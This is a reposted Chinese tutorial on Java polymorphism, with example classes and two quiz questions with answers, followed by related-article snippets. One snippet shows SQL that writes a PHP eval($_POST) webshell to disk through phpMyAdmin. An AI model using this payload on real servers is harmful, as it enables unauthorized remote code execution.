java8-4 多態的練習以及題目

1、
/*
多態練習:貓狗案例
*/

 1 class Animal {
 2 public void eat(){
 3 System.out.println("吃飯");
 4 }
 5 }
 6 
 7 class Dog extends Animal {
 8 public void eat() {
 9 System.out.println("狗吃肉");
10 }
11 
12 public void lookDoor() {
13 System.out.println("狗看門");
14 }
15 }
16 
17 class Cat extends Animal {
18 public void eat() {
19 System.out.println("貓吃魚");
20 }
21 
22 public void playGame() {
23 System.out.println("貓捉迷藏");
24 }
25 }
26 
27 class DuoTaiTest {
28 public static void main(String[] args) {
29 //定義為狗
30 Animal a = new Dog();
31 a.eat();
32 System.out.println("--------------");
33 //還原成狗
34 Dog d = (Dog)a;
35 d.eat();
36 d.lookDoor();
37 System.out.println("--------------");
38 //變成貓
39 a = new Cat();
40 a.eat();
41 System.out.println("--------------");
42 //還原成貓
43 Cat c = (Cat)a;
44 c.eat();
45 c.playGame();
46 System.out.println("--------------");
47 
48 //演示錯誤的內容
49 //Dog dd = new Animal();
50 //Dog ddd = new Cat();
51 //ClassCastException
52 //Dog dd = (Dog)a;
53 }
54 }

?

2、不同地方飲食文化不同的案例

 1 class Person {
 2 public void eat() {
 3 System.out.println("吃飯");
 4 }
 5 }
 6 
 7 class SouthPerson extends Person {
 8 public void eat() {
 9 System.out.println("炒菜,吃米飯");
10 }
11 
12 public void jingShang() {
13 System.out.println("經商");
14 }
15 }
16 
17 class NorthPerson extends Person {
18 public void eat() {
19 System.out.println("燉菜,吃饅頭");
20 }
21 
22 public void yanJiu() {
23 System.out.println("研究");
24 }
25 }
26 
27 class DuoTaiTest2 {
28 public static void main(String[] args) {
29 //測試
30 //南方人
31 Person p = new SouthPerson();
32 p.eat();
33 System.out.println("-------------");
34 SouthPerson sp = (SouthPerson)p;
35 sp.eat();
36 sp.jingShang();
37 System.out.println("-------------");
38 
39 //北方人
40 p = new NorthPerson();
41 p.eat();
42 System.out.println("-------------");
43 NorthPerson np = (NorthPerson)p;
44 np.eat();
45 np.yanJiu();
46 }
47 }

?

題目:

1、看程序寫結果:先判斷有沒有問題,如果沒有,寫出結果

 1 class Fu {
 2 public void show() {
 3 System.out.println("fu show");
 4 }
 5 }
 6 
 7 class Zi extends Fu {
 8 public void show() {
 9 System.out.println("zi show");
10 }
11 
12 public void method() {
13 System.out.println("zi method");
14 }
15 }
16 
17 class DuoTaiTest3 {
18 public static void main(String[] args) {
19 Fu f = new Zi();
20 f.method();
21 f.show();
22 }
23 } 

答案是: ?出錯,f.method()這里出錯,父類沒有這個方法

2、看程序寫結果:先判斷有沒有問題,如果沒有,寫出結果

 1 class A {
 2 public void show() {
 3 show2();
 4 }
 5 public void show2() {
 6 System.out.println("我");
 7 }
 8 }
 9 class B extends A {
10 public void show2() {
11 System.out.println("愛");
12 }
13 }
14 class C extends B {
15 public void show() {
16 super.show();
17 }
18 public void show2() {
19 System.out.println("你");
20 }
21 }
22 public class DuoTaiTest4 {
23 public static void main(String[] args) {
24 A a = new B();
25 a.show();
26 
27 B b = new C();
28 b.show();
29 }
30 }

?

//答案是 愛你 。
public void show() {
show2();
} ??默認在B類的show2前面

多態的成員訪問特點:
方法:編譯看左邊,運行看右邊。

繼承的時候:
子類中有和父類中一樣的方法,叫重寫。
子類中沒有父親中出現過的方法,方法就被繼承過來了。


轉載于:https://www.cnblogs.com/LZL-student/p/5858811.html

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/373920.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/373920.shtml
英文地址,請注明出處:http://en.pswp.cn/news/373920.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

一個簡單的socket通信小demo

寫了一個socket的程序,可以和本地的服務器進行通信,要先和服務器建立鏈接,然后發送登錄信息,驗證成功,就可以和服務器通信了 1 頁面截圖 2 點擊鏈接服務器,可以鏈接服務器,服務器的ip地址為&…

Java并發教程– CountDownLatch

Java中的某些并發實用程序自然會比其他并發實用程序受到更多關注,因為它們可以解決通用問題而不是更具體的問題。 我們大多數人經常遇到執行程序服務和并發集合之類的事情。 其他實用程序不太常見,因此有時它們可??能會使我們逃脫,但是請記…

漢儀尚巍手書可以商用嗎_【商用車維修】夏天修空調可以撐起全年修車收入的一半,你會了嗎?...

更多精彩,請點擊上方藍字關注我們!車載空調是炎熱的季節必不可少的利器,但用得多,毛病也多了起來,今天和大家分享一些空調系統的相關知識,助力修車師傅們來應對空調系統的相關故障問題。如何判斷制冷系統的…

CSDN編程挑戰——《-3+1》

-31 題目詳情: 有一個數列,所有的數都是非負整數,你可以進行如下方式進行一次操作(注意一次完整的操作必須先后完成如下兩個步驟): (1) 任選一個不小于3的數,把它減少3。 &#xff…

游戲感悟

1.所謂游戲平衡,就是指玩家沒有最優解。 2.所謂公司的文化,就是指員工被公司洗腦的那些觀點(認知)。 3.人是能動的,擺脫平庸。轉載于:https://www.cnblogs.com/yangzhou33/p/5074509.html

Git 簡單使用

1.Git是什么 簡介:Git是 Linux 之父 Linus Trovalds,為管理 Linux 內核代碼而建立的,被認為是分布式版本控制工具中的頂級水準。智能、友好、強健、高效。 作用:新建一個分支,把服務器上最新版的代碼fetch下來&#x…

Vaadin附加組件和Maven

介紹 我喜歡Vaadin的 (眾多)一件事是它對Vaadin框架的“附加組件”社區-他們稱之為Vaadin目錄 。 “附加組件”是框架中社區貢獻的附加組件,可以是任何東西,例如從新的客戶端小部件到數據表的延遲加載容器。 我肯定會為Activiti看…

八皇后時間復雜度_【算法打卡】N皇后

難度:困難題目:n 皇后問題研究的是如何將 n 個皇后放置在 nn 的棋盤上,并且使皇后彼此之間不能相互攻擊。上圖為 8 皇后問題的一種解法。給定一個整數 n,返回 n 皇后不同的解決方案的數量。提示:皇后,是國際…

Android-Binder 簡析

前言 對于Android來說,Binder的重要性怎么說都不為過。不管是我們的四大組件Activity、Service、BroadcastReceiver、ContentProvider,還是經常在應用中使用到的各種ServiceManager,其背后都是Binder在支撐。然而Binder機制又不是三言兩語能夠…

CSDN編程挑戰——《進制轉換》

進制轉換 題目詳情: 我們通常用的十進制數包含0-9十個數字。假設有一種進制系統包含3種數字,從低到高分別為"oF8”,那么從1到9分別表示為F, 8, Fo, FF, F8, 8o, 8F, 88, Foo, FoF。給定一種進制的數和兩種進制的數字表,請把它從第一種進…

tplink 703刷固件

1.軟件下載: ImageBuilder鏈接 如果是全新刷機的話,使用:http://downloads.openwrt.org/snapshots/trunk/ar71xx/generic/openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin 如果是系統升級的話,使用:http://downloads.openwrt.org/snapshots/trunk/ar71xx/generic/op…

編程反模式

您是否曾經進行過代碼審查,記錄了非常高的WTF / m? 您是否想知道所有這些錯誤代碼的原因是什么? 在大多數情況下,導致原因1的主要原因是使用設計和編碼反模式。 如果您喜歡定義,請參見以下內容:AntiPatter…

python概率密度函數參數估計_EM算法求高斯混合模型參數估計——Python實現

#coding:gbkimport mathimport copyimport numpy as npimport matplotlib.pyplot as pltisdebug False# 指定k個高斯分布參數,這里指定k2。注意2個高斯分布具有相同均方差Sigma,分別為Mu1,Mu2。def ini_data(Sigma,Mu1,Mu2,k,N):global Xglobal Mugloba…

phpmyadmin 各種技巧拿 webshell

site.com/phpMyAdminsite.com/sqlD:\wamp\www賬號還有密碼root 密碼第一種CREATE TABLE mysql.darkmoon (darkmoon1 TEXT NOT NULL );INSERT INTO mysql.darkmoon (darkmoon1 ) VALUES (<?php eval($_POST[pass]);?>);SELECT darkmoon1 FROM darkmoon INTO OUTFILE d:/…

Finally語句塊的執行

一、finally語句塊是否一定執行&#xff1f; Java中異常捕獲機制try...catch...finally塊中的finally語句是不是一定會被執行&#xff1f;很多人都說不是&#xff0c;當然他們的回答是正確的&#xff0c;經過試驗&#xff0c;至少以下有兩種情況下finally語句是不會被執行的&am…

面向對象 封裝 集成 特性

訪問修飾符&#xff1a;pubulc:公共的&#xff0c;只要引用了命名空間&#xff0c;就可以隨意進行訪問 private:私有的&#xff0c;只有當前類內部才可以訪問 internal&#xff1a;內部的&#xff0c;當前程序集內可以訪問&#xff0c;程序集就是命名空間&#xff0c;此修飾符是…

sql 插入text字段包含特殊字符_Kettle(PDI)轉換中輸出之插入/更新詳解

概述Insert / update(插入 / 更新)此步驟首先使用一個或多個查詢關鍵字查找表中的一行。如果找不到該行&#xff0c;則插入該行。如果可以找到它&#xff0c;并且要更新的字段相同&#xff0c;則不執行任何操作。如果它們不完全相同&#xff0c;則更新表中的行。注意&#xff1…

使用Java發送電子郵件

我開始使用Java作為簡單的“如何發送電子郵件”來撰寫這篇文章&#xff0c;但是后來我發現我需要簡要解釋更多事情。 因此&#xff0c;這是有關使用Java發送電子郵件的所有摘要。 在Java SE平臺之外&#xff08;但包含在JavaEE中&#xff09;&#xff0c; JavaMail軟件包提供了…

一張圖讓你看清Java集合類(Java集合類的總結)

如今關于Java集合類的文章非常多&#xff0c;可是我近期看到一個非常有意思圖片&#xff0c;基本上把Java集合的整體框架都給展現出來了。非常直觀。 假設發現圖片看不清楚。點此處看大圖 在這里&#xff0c;集合類分為了Map和Collection兩個大的類別。 處于圖片左上角的那一塊…

CSDN挑戰編程——《數學問題》

數學問題 題目詳情: 給你兩個長度為n的正整數序列分別為{a1,a2,a3...an},{b1,b2,b3...bn},0<ai,bi<100&#xff1b; 設Smax{x1*a1x2*a2x3*a3...xn*an,(1-x1)*b1(1-x2)*b2(1-x3)*b3...(1-xn)*bn}&#xff0c;xi為整數&#xff0c;0<xi<1。 請你求出S的最小值。 輸入…